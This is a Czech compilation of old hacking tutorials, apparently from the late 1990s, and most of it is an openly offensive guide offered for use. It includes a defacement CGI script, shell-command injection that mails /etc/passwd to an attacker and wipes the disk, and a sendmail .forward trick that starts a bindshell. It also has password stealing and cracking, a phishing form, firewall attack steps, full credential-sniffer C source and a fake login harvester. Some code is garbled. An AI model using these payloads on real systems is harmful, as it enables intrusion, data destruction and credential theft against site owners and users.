Vše bylo nalezeno na stránce    http://on.to/super

Strašte své přátele internetem!

Když jsem nedávno na otázku jednoho kamaráda co dělám, odpověděl, že mu skenuju porty, patrně ho to tak vylekalo, že se raději odpojil. Teď samozřejmě tvrdí, že mu spadlo spojení, ale spíš bych věřil té první variantě.

Skenování portů je činnost, bez které se pořádný hacker neobejde, sama o sobě však neznamená vůbec nic. Skenování vás do žádného systému nedostane a pořádného hackera z vás neudělá, přesto je to prostředek u nějž začíná každý pokus o průlom do nějakého systému. Když tedy budete někomu tvrdit, že něco/někoho skenujete, budete vypadat nesmírně důležitě, když to navíc předvedete na počítači, stane se z vás legenda. Je však nebezpečné vytahovat se podobným způsobem před někým znalejším nebo nedej bože před skutečným hackerem. V tom případě by vás v lepším případě zmrazil odpovědí: "A co jsi zjistil?", v horším by se dotyčný s vámi začal zaujatě bavit na dané téma a vy byste patrně nevyklouzli bez ztráty tolik ceněné prestiže.

Cílem tohoto článku je seznámit vás s několika takovými technikami, které jsou dobré na chlubení, ale bez řádných znalostí jsou absolutně k ničemu.

Skenování (scanning) - jedná se o činnost prováděnou vůči určité IP adrese nebo celému bloku IP adres. Je tedy jedno jestli vaší obětí má být nějaký server nebo nebohý dial-upista. Doufám, že alespoň víte kdo je dial-upista (ten kdo se na internet připojuje pomocí modemu). Skenování vám pomůže zjistit, které porty jsou na dané IP adrese otevřené, tzn. používají se. Pro různé činnosti v internetu se používají různé porty. Například port 80 se používá pro HTTP, tedy přenos stránek, které se zobrazují v browseru, port 21 je používán FTP, port 25 pro odchozí poštu, port 110 pro pop3 protokol, tedy pro stahování došlé pošty ze serveru. Mohli bychom pokračovat ve výčtu portů, ale nebylo by to moc efektivní. Kdo má zájem, může si najít 238kb dokument, který obsahuje popis prakticky všech používaných portů. Nyní už tedy víme, že pokud má nějaká IP adresa otevřené porty 80 a 21, je na ní možný přístup přes browser a FTP klient. Když mluvím o přístupu, ještě to neznamená, že se vám podaří legálně či nelegálně proniknout do systému. Je to pouze znamením, že server s vámi danými prostředky může komunikovat a nevrátí hlášku, že adresa neexistuje.

Adresa portu se může zadávat způsobem xxx.xxx.xxx.xxx:yyyy, přičemž XXX je IP adresa a YYYY je číslo portu. Můžete zkusit zadat adresu nějakého FTP serveru ve vašem browseru a uvidíte, zda jej najde (platí samozřejmě pouze v případě zadávání přes IP adresu, pokud byste zadali přímo jmenovité označení serveru, například ftp.vse.cz, browser automaticky pozná, že bude následovat FTP přenos).

Je však zcela zbytečné pokoušet se hledat tyto známé porty na IP adrese nějakého vašeho známého připojeného přes dial-up, určitě otevřeny nebudou. V takovém případě je lepší zadat skenování portů v určitém rozsahu, například od 0 do 1000. Pamatujte - pokud někdy budete o portech mluvit, tak nejvyšší číslo, které můžete použít je 65535! Vyšší porty neexistují a věta: "Něco sem chyt na portu milión sedmset dvacet tři tisíc šedesát sedm" vás dostane do hackerského pekla. Stejně tak varování pro IP adresy, maximální hodnota jednoho čísla je 255, tzn. maxmax je 255.255.255.255. Proč to není až do 999 sám nevím (pratvůrci internetu nejspíš také ne), ale už teď se jim prý IP adres nedostává :-). Nedávno byla schválena nová verze formátu IP adres, tzv. IPv6, stávající je IPv4. IPv6 se bude vyznačovat tím, že bude mít přibližně následující tvat 0234xfff5679c, nic moc co? Narozdíl od IPv4 vypadá fakt složitě a tak o IPv6 raději nikdy nezačínejte mluvit, stejně se zatím nepoužívá :-). V IP adresách existují ještě nějaká další čísla, o kterých není radno mluvit (určeny pro vnitřní sítě atd.), ale vzhledem k tomu, že jich je pouze několik, nebudu je vyjmenovávat a vy budete spoléhat na to, že se zrovna do nich při svém mrakošlapání netrefíte.

Ale zpět k tématu. Skenování není nijak zvlášť rychlé, dost záleží na použitém programu, takže ta tisícovka vám zabere minimálně deset minut. Je možné, že se objeví nějaké zajímavé hlášky, ty se ale většinou liší případ od případu, čili nějaký souhrný výklad o nich nemá cenu. V tomto momentě by bylo patrně nejlepší vašeho žáka vystrčit ze dveří (blíže popsáno na konci článku) se zaujatým výrazem ve tváři a rozloučením ve smyslu: "Našel sem něco zajímavýho, musim pracovat v klidu.", dál už byste totiž tuhle blamáž předváděli velice těžko. Výjimkou může být, pokud o vašem žáku (objektu) víte, že má snížený práh vnímavosti, v tom případě můžete dát skenování ještě jednou, tentokráte od tisíce k nule. Jde nám to pěkně :-).

Pokud chcete vypadat opravdu tvrdě (jako žula) zadejte skenování nějaké adresy v doméně .gov nebo .mil. Jistě víte, že v těchto doménách se skrývají servery americké státní správy a armády. Jejich seznam se válí na mnoha místech internetu a tak není těžké přijít k nějaké zajímavě znějící adrese, které není přístupná přes port 80 (přes všechny ostatní ale ano) a tudíž je méně známá. Například taková adresa netmaster1.hq.af.mil zní dostatečně zajímavě a tajemně na to, aby si pod ní každý neznalý představil databanku spadlých a chycených UFO. Prostý občan si zkratky obsažené v adrese vysvětlí následujícím způsobem: "MIL - military, armáda; AF - Air Force, letectvo; HQ - Headquarters, velitelství; Netmaster - hlavní." A má pravdu, ale pořád to nemusí nic znamenat. Jestliže něco takového proběhlo vašemu žáku hlavou, máte vyhráno. Připojte se na tuhle adresu telnetem (port 23). V tu chvíli se objeví efektní hláška o tom, že se jedná o armádní server a neoprávněný přístup není dovolen. Mrkněte na vašeho žáka, odpojte se s tím, že bude lepší když to ještě proskenujete. Po začátku skenování se objeví ještě efektnější hláška o tom, že skenování je nedovolené a všechna vaše činnost je logována, navíc se zobrazí i vaše IP adresa (to už vypadá jako že jste opravdu něco provedli - rozuměj: v mysli žáka vyvstává obraz centrály FBI, kde svolávají mimořádnou schůzi a na váš barák se zaměřuje desítka špionážních satelitů). V tu chvíli můžete: a) Hodně nahlas zařvat něco ve smyslu, že vás dostali, vyskočit z okna, utíkat tak sto metrů, schovat se za nejbližší strom a dívat se zda vás váš žák následuje. b) Přesvědčit ho, ať se jde udat na policejní stanici v Horním Kocourkově s tím, že naboural nějaký server. Oni určitě pošlou dopraváky... vždyť to znáte. Obojí je velká sranda. Teď vážně. Váš pokus o skenování může být opravdu zalogován a nedělají to pouze armádní servery, ale co z toho? Nic, samozřejmě. Každý den se o to samé co vy pokouší minimálně další tisícovka lamerů (výraz pro toho kdo se chce stát hackerem). Pokračování bude pouze v případě vašeho velkého ohlasu ;-). Autor tohoto článku je šéfredaktorem Normal One, ale hlavně je to pouze lamer, lamer a nic jiného než 100% lamer. Tímto prohlášením se zbavuje odpovědnosti za jakékoliv škody způsobené někým, kdo by se vydával za jeho žáka.

 

 

 

 

ZÁKLADY HACKINGU NA INTERNETU

ČÁST PRVNÍ.ZÁKLADNÍ TECHNIKY.

Jak jsem si všimnul tak se zde začíná dost odborně hovořit o Internetu. Tak se také připojím.Vyhlašuji soutěž o jeden milion korun pro toho kdo jako první napadne tento WWW server to je http://www.cdrail.cz.Jinak bych doporučoval zavést pro nás hackery novou diskuzní skupinu,Třeba hacker. A teť malý úvod pro zájemce o milion korun.Toto je jen žert. Jak jsem si všiml podle souborů s příponou *.asp tak asi používáte jako www server produkt firmy Microsoft Internet information server pracujícím pod Win NT. Zde jsou mžnosti napadení skutečně veliké. 1.Program z názvem WinNuke dokáže dálkově restartovat server běžící pod win NT.Ovládání programu je ďábelsky jednoduché.Stačí zadat adresu počítače běžící pod win NT.Účinek je rychlý a smrtící.Během několika sekund se Win NT zřítí,veškeré data v paměti RAM jsou zničena a celý počítač se restartuje.Tyto restarty se opakují stále pokud nezasáhne administrátor. Tento problé řeší Service Pack 3.Rychle ho aplikujte. 2.Asi nejznámější chybou v MS IIS je to že stačí napsat pekelně dlouhé URL (mezi 4kB až 8kB)a server se zablokuje.To jsou služby www,gopher a FTP. 3.Jak najít díru v Index serveru ?.Jedna z komponent Hit Counter funguje opravdu zvláštně.Umužňuje číst soubory které jinak číst nejdou. Pokud se jedná o skript ASP,který může obsahovat heslo k serveru SQL je útočník v půli cesty do průniku do systému.Získat ho lze pomocí skriptů které jsou nainstalovány jako příklady: http://jmeno_serveru/samples/search/queryhit.htm.S omezením vyhledávání pouze na soubory ASP:"#filename=*.asp". 4.Další tip.Red Buttom je program který využívá portů 137,138 a 139 na počítači s nainstalovanými Win NT.Tento program čte registry,umožňuje zjistit jména všech zdílených (i skrytých)zdrojů na serveru a vytvoří nový sdílený zdroj přístupný skupině everyone,tj opravdu kohokoli. Lze takto získat soubory uložené na na lokálním disku v četně šifrovaných hesel.Další mužnosti této utility jsou odborníkovy jasné. 5.Jak vytížit CPU na 100% ?.Jde o chybu v RPC.Pokud se někdo přihlásí na server NT telnetem na porty 53,135 nebo 1031,napíše asi 10 znaků, stiskne enter a ukončí telnet,Windows NT najednou začnou mít tolik "práce",že zatížení CPU stoupne na 100%.Pokud na systému běží i DNS server,lze napadnout i tuto službu a vyřadit ji z činnosti. 6.Starším předchůdcem chyby v MS Index Serveru je chyba v MS IIS ve spojení s ASP (active server pages).ASP jsou programy která interpretuje www server.Kromě vlastního kódu mohou obsahovat i hesla k serveru SQL.apod. Typická cesta k nějakému souboru ASP je např.http://server_name/default. Skript na této stránce je interpretován MS IIS a výsledek je předán vašemu prohlížeči.Pokud toto URL trochu modifikujete,např na http://server_name/default.asp.(všimněte si tečky na konci!),je místo toho zobrazen samotný program.Kdokoli ho můze stahnout,přečíst. No tak to by snad stačilo k Windows NT.Teť se podíváme na UNIX(LINUX). Tady je situace jednoduchá.Tento stařec již má všechny mouchy vychytané. Není to jednoduché až téměř nemožné, je-li zde vše dobře nastavené. Jak dálkově změnit WWW stránku? Je to vůbec možné? Při troše štěstí ano. Jak tedy na to? Nejprve si vytvoříme svůj hacknutý soubor index.html a speciální CGI script.V UNIXU bývají v adresáři /home/ftp/incoming/ nastavena přístupová práva na rwxrwxrwx to je právo zapisu všem. Do tohoto adresáře pomocí FTP přeneseme tyto dva soubory.To je index.html a např.hack.cgi.Důležitý je program který je v cgi scriptu tady je: #!/bin/sh echo 'Content-Type: text/html' echo cp /home/ftp/incoming/index.html /www/htdocs/ Jednoduché že.Ale má to problém,musíme dostat nějakým způsobem tento cgi script do adresáře kde je povoleno provádění CGI scriptů nejčastěji cgi-bin.Toto se nastavuje v souboru httpd.conf direktivou ScriptAlias. Jinak aby bylo jasno je řeč o WWW serveru Apache kterých pracuje pod UNIXEM vetšina.Ten je reprezentován souborem httpd. Podaří-li se nám dostat tento cgi script do tohoto adresáře stačí jenom napsat ve vašem prohlížeči URL k tomuto cgi scriptu a stisknout enter. Ale to ještě není vše.WWW server musí pracovat jako root.To nastavuje správce opět v souboru httpd.conf.A kořen dokumentů musí být umístněn v adresáři /www/htdocs/. Ještě jeden tip.Instalujeme-li server Apache tak vytvoří automaticky adresář cgi-bin ve kterém je standartně umístněn skript z názvem test-cgi. Tento skript by měl správce serveru odstanit,protože poskutuje důležité informace případnému útočníkovy. Je-li tento skript přítomen stačí napsat toto URL: http://jmeno_serveru/cgi-bin/test-cgi poté se na obrazovce prohlížeče objevý zajímavé informace o serveru Apache. Další možností je odhalit bezpečnostní díru v CGI skriptu.Jak na to? Objevý-li se nám na na řádku např.URL http://www.firma.cz/cgi-bin/jmeno.cgi? můžeme na konec přidat toto.http://www.firma.cz/cgi-bin/jmeno.cgi?;who Středník je nebezpečný znak a může způsobit při špatně napsaném cgi skiptu to že se provede příkaz zapsaný ba konci řádku.V tomto případě příkaz who. Ale může to být třeba cat /etc/passwd. Dále bych se chtěl ještě zmínit o CGI scriptu který umužňuje vzdálené zadávání příkazů operačnímu systému UNIX(LINUX) přes WWW prohlížeč. Používá značky ISINDEX.Opět tento CGI script musí být umístněn v odresáři kde je povoleno spouštění CGI scriptů.Většinou CGI-BIN. Zde je je: #!/bin/sh echo "Content-type: text/html" echo echo '' echo '' echo '' echo ' This is a searchable index. Enter search keywords: ' $1 Tento CGI script když se nám podaří propašovat nějakým způsobem do adresáře CGI-BIN a napíšeme k němu ve svém prohlížeči cestu,tak nám nábýdne textové pole do kterého můžeme zadávat příkazy.Např.ls;ps;cat ale třeba i halt pracuje-li www server Apache jako root.Co tento příkaz způsobí je zřejmé z jeho názvu. Jinak jestli hacker potřebuje zjistit jaký www server používá vzdálený systém,žádný problém.Použijeme telnet,ale ne ten co je ve Windows 95 Musíme použít takový který umožňule přípojování na různé porty.Nejlepší je samozřejmě interaktivní telnet z linuxu.Takže se připojíme na port 80: % telnet 193.179.4.2 80 Poté zadejte GET / announclist.html HTTP/1.0 Měli by jste dostat odpověď velmi rozsáhlou. IP adresu jsem si vymyslel ale je to adresa http://www.hrad.cz (aktualní). Když jsem u telnetu tak to je samozřejmě standartní hackerský program. Lze se připojovat na různé porty a zkoušet zadávat různé textové i netextové řetězce a pokoušet se proniknout do systému.Nejznámější je samozřejmě SMTP server který pracuje na portu 25 kde naslouchá.Jedná se o program sendmail spuštěný jako démon.Tento program bývá na některých systémech kompilován se vzdáleným ladícím přístupem zadáme: % telnet 193.179.4.2 25 Trying 193.179.4.2 .... Connected to 193.179.4.2 Escape character is '^]'. 220 192179.4.2 Sendmail 4.1/1.36 ready at Mon, 15 Jun 97 09:51:56 EDT Pak zadáme příkaz: debug Jestliže budete dotázani na heslo máte naději. Když jsme u elektronické pošty je potřeba se na ní podívat trochu více. Posláním v hodného emailu nezkušenému uživateli lze získat jeho přístupová hesla.Např.tento html dokument odešle na váš email přístupové heslo vzdáleného uživatele.Samozřejmě pokud to vzdálený uživatel neprokoukne. Změna hesla.Po určité době je nutné změnit heslo.Zadejte nejprve staré a pak nové heslo.Hesla se nevypisují z důvodu jejich utajení. Staré heslo: Nové heslo: Pomocí elektronické pošty lze i Internet zahltit.Při psaní emailové adresy lze přikázat kudy má dopis jít. Používá se následující formát: uživatel%doména1@doména2 Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2".Ten se podívá na uživatelskou část a uvidí v ní %.Odtrhne z adresy zavináč a vše za ním, poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu. Díku tomuto mechanizmu můžeme diktovat kudy má dopis projít. Domén můžeme uvést veliké množství.Jestliže se domluví více hackerů a sítí se přenáší velké objemy dat,např.binární soubory o velikosti asi 500KB přes obrovské množství serverů,lze celou Internetovou doménu(např.cz), scela zablokovat na mnoho hodin. Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger. Ta někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací o uživatelích na systému. Jinak je zřejmé že jestliže se vám podáří získat přístup do shelu jako root tak je vše jasné.A jestliže navíc je povoleno přihlášení uživatele root jak telnetem tak přes FTP tak není co řešit ale taková situace nastane jenom zřídka. Zde je seznam služeb standartně spuštěných na systému UNIX(LINUX). služba port ftp-data 20 ftp 21 telnet 23 SMTP 25 Whois 43 Gopher 70 Finger 79 http 80 pop-3 110 Na tyto porty je možno se připojovat telnetem a zkoušet. Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné např.na http://www.security.sk nebo na http://www.rootshell.com Dále mužeme zkoušet pracujeme-li na LINUXU tak zvané r příkazy jedná se o rlogin,rcp,rsh. Příklad: %rlogin 193.179.4.2 a uvidíme co se bude dít. %rcp 193.179.4.2: /etc/passwd /home/ Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj systém. %rsh 193.179.4.2 ps -aux Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server na vzdáleném systému. Jenom tak na okraj jestliže chcete zjistit IP adresu vzdáleného systému stačí použít program ping např. je i ve win 95: Příklad: ping www.hrad.cz Pinging from 193.179.4.2:bytes=32 time 60ms TTL64 Další možnost jak napadnout vzdálený systém je program tftp napíšem: $ tftp 193.179.4.2 tftp get /etc/passwd Error code 1: File not found tftp quit Jestliže dostaneme takovouto odpověď máme smůlu.Služba je zakázaná. Vraťme se zpátky k fenoménu dneška a to je WWW.Jak známo vetšina internetových serverů pracuje pod systémem UNIX (LINUX).A ty používají hlavně www server Apache.Zavádející historický pokus o zabezpečení bylo to že k portům menším než 1024 se smí připojit jen superuživatel root. Jak známo tak httpd naslouchá na portu 80.To znamená že alespoň jednou musí být server spuštěn jako root.A tady je naše šance.Může se stát že administrátor spustí i kopie serveru jako root(nejnovejší verze Apache to již neumožňuje). WWW server nám pošle formulář v HTML skriptu.Náš počítač formulář interpretuje a zobrazí ho na obrazovce.My jej vyplníme a poté stiskneme tlačítko Submit.Náš počítač pak pošle formulář zpět na server,kde se vyvolá URL,k jehož konci je připojen obsah formuláře.Server je nastaven tak aby toto URL spouštělo skript přidávající obsah formuláře do souboru. Část tohoto skriptu může vypadat takto: echo "You have sent the following message: $MESSAGE" Smyslem je aby nám server poslal potvrzující hlášení,ve kterém se vše,co jsme napsaly,cituje v řetězci $MESSAGE. Pukud my budeme vychytralý,napíšeme jako obsah $MESSAGE následující text: 'mail 193.179.4.2 /etc/passwd' Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače příkazů,může tento text mít natolik alarmující důsledek jako odeslání super tajného hesla k nám. Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme napsat: 'rm -f -r /*' Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward Jetliže nemáte přístup do shellu ale jenom přes ftp,pak je to přímo idealní situace pro použití souboru .forward. Stačí uploadovat soubor.forward do domácího adresáře.Sendmail totiž standartně umožňuje execování souborů.Vyrobíme nasledující .forvard soubor $ cat .forward |/tmp/scriptik $ Tento soubor je třeba uploadovat do domácího adresáře.Pak si vytvoříme soubor "scriptik". $ cat scriptik /tmp/bindshell & $ Bindshell je program který hodí shell na port 31337.Aby se faily mohli exnout musí být executable.Mužeme to udělat takto: $ ftp -nv ftp o server.provider.cz Conected to server.provider.cz ftp user login heslo ftp cd /tmp ftp quote site chmod 755 bindshell ftp quote site chmod 755 scriptik ftp close Potom stačí na toto konto poslat nějaký mail.Sendmail spustí /tmp/scriptik a ten spustí bindshell. Pak se telnetem připojíme na port 31337 např. takto $ telnet 193.179.4.2 31337 A dostanete se shellu.Pak můžete zadat tento příkaz. cat /etc/passwd /home/ftp/incoming/ukradena_hesla Tímto se obsah tajného souboru passwd přenese do souburu ukradena_hesla v adresáři incoming. Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek. Možná i účet roota.Ještě se může stát že anonymní adresář má nastaveny práva na 777.Pak by to byl čistý vnější průnik. Konec první části. Část druhá-Útok na firewall(FW). Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW.První úroveň spočívá v pokusu o nenápadné získání informací,které mouhou posloužit v další vlně útoku.Druhá úroveň útoku představuje již patrný bezprostřední sběr informací,ale ještě ne aktivní pokus o průnik do sítě.Třetí úroveň útoku se pokouší zdolat FW a narušit za ním lokalizované klienty,přičemž toto úsilí je inicializováno z klienta vně napadené sítě.Čtvrtá úroveň útoku pak představuje pokus narušit bezpečnostní software FW,jeho konfiguraci nebo operační systém z klienta uvnitř atakované sítě. 1)První úroveň útoku Jde o pokus získat informace o cílové síti,napadení z vnějších zdrolů tak aby se o tom cílová organizace nedozvěděla.Prvním krokem je zkontrolovat vstup do databáse na Network Information Centre (NIC).Použijeme telnet do rs.internic.net a pak zadáme příkaz whois.To nám poskytne informace o adresách a lokalitách.Bude nám to také naznačovat složitost cílových skupin sítě.Jestliže administrativní kontakt je shodný se zónou a technickým kontaktem,pak to může znamenat,že síťové skupiny mohou být v Internetu malé a relativně nové.Jestliže cílové organizace nemají svůj vlastní nameserver,pak je organizace asi malá a relativně krátkou dobu připojená do Internetu.Příkaz whois vylistuje primární a sekundární nameservery spolu s doménovým jménem. Poznámka:(lze použít i www přes http://rs.internic.net) Dalším krokem v této první úrovni je použití příkazu nslookup abychom získali maximum informací o cílové organizaci.Připojíme se raději k sekundárnímu nameserveru než k primárnímu a pokuste se o tak zvaný zóne transfer.Jestliže je zóne transfer povolen,budeme mít velice cenné informace o vnitřní cílivé síti. Tak lze zjistit počet stanic a topologii cílové sítě.Zóne transwer je však ve většině sítí zakázán.Příkazem nslookup můžeme zjistit spoustu dalších informací,např.po použití příkazu set type=MX můžeme zjistit konfiguraci pošty a IP adresy poštovní serverů atd.Posledním krokem této úrovně je hledání veřejně přístupných informací o cílové organizaci.Velkým zdrojem informací mohou být výroční zprávy a obchodní publikace,spojení s jinými organizacemi atd.Tyto informace mohou být užitečné ze kterých kanálů útočit. 2)Druhá úroveň útoku Sondování již může být objeveno cílovou organizací.Prvním krokem je pokus přenos DNS zóny z primárního name serveru,ačkoli většina organizací přenos zóny zakazuje,jak bylo řečeno výše.Ten kdo na FW útočí musí v dalším kroku vyhledat sítě a v nich konkrétní uzly.Zabere to hodně času,zvlášť pokud je síť za FW rozhlehlá.Tento krok lze i při nedostatku času přeskočit Pro vyhledávání existují dvě metody. PING POKUS PŘIPOJIT SE NA TCP PORT 25 Směrovače mohou ztratit ICMP pakety,proto je žádoucí abychom posílali nejméně tři pakety na každou adresu.Osobně doporučuji pět paketů. Připojení na TCP port je pomalejší,protože spojení čeká na time-out jestliže je adresa nedostupná.Každý uzel který odpoví,je pak potenciálním bodem vstupu do vnitřní sítě.Tímto způsobem si vytvoříme seznam potenciálních uzlů (cílů) a měli bychom zjistit,jaké služby na nich běží. Předpokládá to uskutečnění připojení na každý TCP port na každé cílové stanici. 3)Třetí úroveň útok a proniknutí. Tato metodologie předpokládá,že v tomto okamžiku máme k dispozici seznam uzlů a služeb vnitřní sítě z FW,teprve potom můžeme zahájit útok. Existují dva druhy útoků: a)získání přístupu do shellu FW (dokonce se můžeme stát správci systému), b)použití vzdálených služeb,které jsou k dispozici prostřednictvým FW a které změní kritické konfigurační soubory nebo modifikují služby,které běží na FW. Na FW často běží služba (např.mail démon),která není dostatečně zabezpečená Tyto služby se stanou prvním cílem útoku.Mnoho FW má slabinuv syslogd,jiné dovolují spojení telnetem z adres IP externích sítí.Ještě lepší je když na FW je velký počet neaktivních účtů,které měli být dávno vymazány. Dokonce i když je FW odolný proti proniknutí z externích lokalit,vnitřní uzly a uzly v demilitarizované zóně (DMZ)jsou často přístupné z vnější sítě.Už takto kvalifikované útoky mohou způsobit nefunkčnost napadené sítě.A to nám přeci jde.Po té jsme uskutečnili veškeré útoky proti FW,je nutno obrátit pozornost na uzly v cílové síti.Zkusíme telnet popř.rlogin posíme se získat přístup do shellu.Další možností získání přístupu je využít slabiny v NFS,NIS a sendmailu.Velkou službu nám udělají hackerské nástroje,které jsou dostupné na mnoha FTP serverech.Proniknutí do jednoho uzlu interní sítě akceleruje proces proniknutí do celé vnitřní sítě.Je tomu tak proto,že uzly v TCP/IP nemají mezi sebou zabezpečené vztahy. 4)Modifikace FW Jde o napadení FW s cílem modifikovat FW,povolit volný přístup a jednoduchý přístup do vnitřní sítě.Nainstalujeme program "sniffer" do segmentu sítě, kde je FW který čeká na přihlášení administrátora. Některé hackerské programy:SATAN-program pro pátrání po bezpečnostních chybách ve www serverech. CRACK-louskač hesel. ROOTKIT-Nástroj pro privilegovaný přístup do systému UNIX (LINUX). TAP-Analyzuje packety. WINNUKE-Dálkově resetuje www servery pod Win NT. Tak to by snad na ty firevaly stačilo.Na konec uvádím program sniffer o kterém jsem se zmínil výše.Je napsán v jazyce C. Ještě nakonec této části uvádím hackerské www servery kde lze získat různé hackerské utility. Hackerské adresy: http://www.digicrime.com http://fishwrap.mit.edu/Hacks/misc/gallery_menu.html http://nmrc.org/ http://jya.com/mondex-hack.htm http://www.stanford.edu/~llurch/ čipové karty http://www.ioc.ee/atsc/ Hackerský časopis: http://www.klaphek.nl Chyba v exploreru: http://www.cybersnot.com/iebug.html/ čipové karty: http://www.ft.uni-erlagen.de/~mskuhn/tamper/html Telnet://rs.internic.net (příkaz WHOIS) čipové karty: http://www.bellcore.com/SMART/index.html čipové karty: http://www.cs.technion.ac.il/~biham/ hackerské nástroje:http://www.security.sk nebo http://www.rootshell.com Slovenský server http://www.hysteria.sk nebo http://hack.box.sk el.časopis phrack:http://www.fc.net/phrack/ http://www.phrack.com/ http://www.2600.com/hacked_pages Satelit http://www.hack.sk PROGRAM SNIFFER: /* LinSniffer 0.03 [BETA] Mike Edulla medulla@infosoc.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include int openintf(char *); int read_tcp(int); int filter(void); int print_header(void); int print_data(int, char *); char *hostlookup(unsigned long int); void clear_victim(void); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; }ep; struct { unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; int bytes_read; char active; time_t start_time; } victim; struct iphdr *ip; struct tcphdr *tcp; int s; FILE *fp; #define CAPTLEN 512 #define TIMEOUT 30 #define TCPLOG ".s" int openintf(char *d) { int fd; struct ifreq ifr; int s; fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } strcpy(ifr.ifr_name, d); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); return fd; } int read_tcp(int s) { int x; while(1) { x=read(s, (struct etherpacket *)&ep, sizeof(ep)); if(x 1) { if(filter()==0) continue; x=x-54; if(x < 1) continue; return x; } } } int filter(void) { int p; p=0; if(ip-protocol != 6) return 0; if(victim.active != 0) if(victim.bytes_read CAPTLEN) { fprintf(fp, "\n----- [CAPLEN Exceeded]\n"); clear_victim(); return 0; } if(victim.active != 0) if(time(NULL) (victim.start_time + TIMEOUT)) { fprintf(fp, "\n----- [Timed Out]\n"); clear_victim(); return 0; } if(ntohs(tcp-dest)==21) p=1; /* ftp */ if(ntohs(tcp-dest)==23) p=1; /* telnet */ if(ntohs(tcp-dest)==110) p=1; /* pop3 */ if(ntohs(tcp-dest)==109) p=1; /* pop2 */ if(ntohs(tcp-dest)==143) p=1; /* imap2 */ if(ntohs(tcp-dest)==513) p=1; /* rlogin */ if(ntohs(tcp-dest)==106) p=1; /* poppasswd */ if(victim.active == 0) if(p == 1) if(tcp-syn == 1) { victim.saddr=ip-saddr; victim.daddr=ip-daddr; victim.active=1; victim.sport=tcp-source; victim.dport=tcp-dest; victim.bytes_read=0; victim.start_time=time(NULL); print_header(); } if(tcp-dest != victim.dport) return 0; if(tcp-source != victim.sport) return 0; if(ip-saddr != victim.saddr) return 0; if(ip-daddr != victim.daddr) return 0; if(tcp-rst == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [RST]\n"); clear_victim(); return 0; } if(tcp-fin == 1) { victim.active=0; alarm(0); fprintf(fp, "\n----- [FIN]\n"); clear_victim(); return 0; } return 1; } int print_header(void) { fprintf(fp, "\n"); fprintf(fp, "%s = ", hostlookup(ip-saddr)); fprintf(fp, "%s [%d]\n", hostlookup(ip-daddr), ntohs(tcp-dest)); } int print_data(int datalen, char *data) { int i=0; int t=0; victim.bytes_read=victim.bytes_read+datalen; for(i=0;i != datalen;i++) { if(data[i] == 13) { fprintf(fp, "\n"); t=0; } if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;} if(t 75) {t=0;fprintf(fp, "\n");} } } main(int argc, char **argv) { s=openintf("eth0"); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "at"); if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);} clear_victim(); for(;;) { read_tcp(s); if(victim.active != 0) print_data(htons(ip-tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he-h_name); return blah; } void clear_victim(void) { victim.saddr=0; victim.daddr=0; victim.sport=0; victim.dport=0; victim.active=0; victim.bytes_read=0; victim.start_time=0; } void cleanup(int sig) { fprintf(fp, "Exiting...\n"); close(s); fclose(fp); exit(0); } ČÁST TŘETÍ aneb technologie a postupy největšího hakera všech dob Němce Markuse Hesse. Psal se rok 1988 když Makrkus Hess pronikal do Milnetu (předchudce Internetu) a kradl s tamních UNIXů informace a prodával je za tisíce marek KGB.Netušil ale že ho sledují,dokonce tak dokonake že monitorovali každý jeho úder na klávesnici na tiskárně. V této době jěště systém UNIX měl tolik chyb že to pro odborníka jeho kalibru nebyl problém.Pro průniky používal terminálového klienta který podporoval protokol telnet.Z Německa se přes družicové spoje připojoval na vojenské počítače se systémem UNIX.Zde se dostával do systému pomocí různých vyhrazených hesel jako např.SYSTEM,MANAGER,FIELID,SERVICE,USER aj.Nebo dokonce systém hesla vůbec nepoužíval. Pak pomocí specialního programu kterým nahradil program atrun v UNIXU. Progran atrun je specialní program který se spouští každých 5 minut a provádí kontrulu celého systému.Tento program pracuje z nejvyšší prioritou.A právě tento program nahradil svým vlastním programem který se za 5 minut spustil a způsobil to že se z obyčejného uživatele stal superuživatel.K tomu aby mohl jako běžný uživatel zkopírovat tento svůj program do systémové oblasti,kam normálně nemůže,využil chyby v editoru GNU-emacs.Tento editor totiž umožňuje i běžnému uživately kopírovat do systémových oblastí kam by to normálním uživatelům jít nemělo. Na konec ho ale chytli při činu. Příklad programu který používal ke kradení hesel: echo -n "Vítejte v počítači LBL UNIX-4" echo -n "Prosím přihlašte se" echo -n "LOGIN:" read account name echo -n "Uveďte své přístupové heslo:" (stty -echo;\ read password;\ stty -echo;\ echo $account_name $password /tmp/ .pub) echo "Lituji,zkuste to znovu." Tak to by stačilo ne.Dokončeno 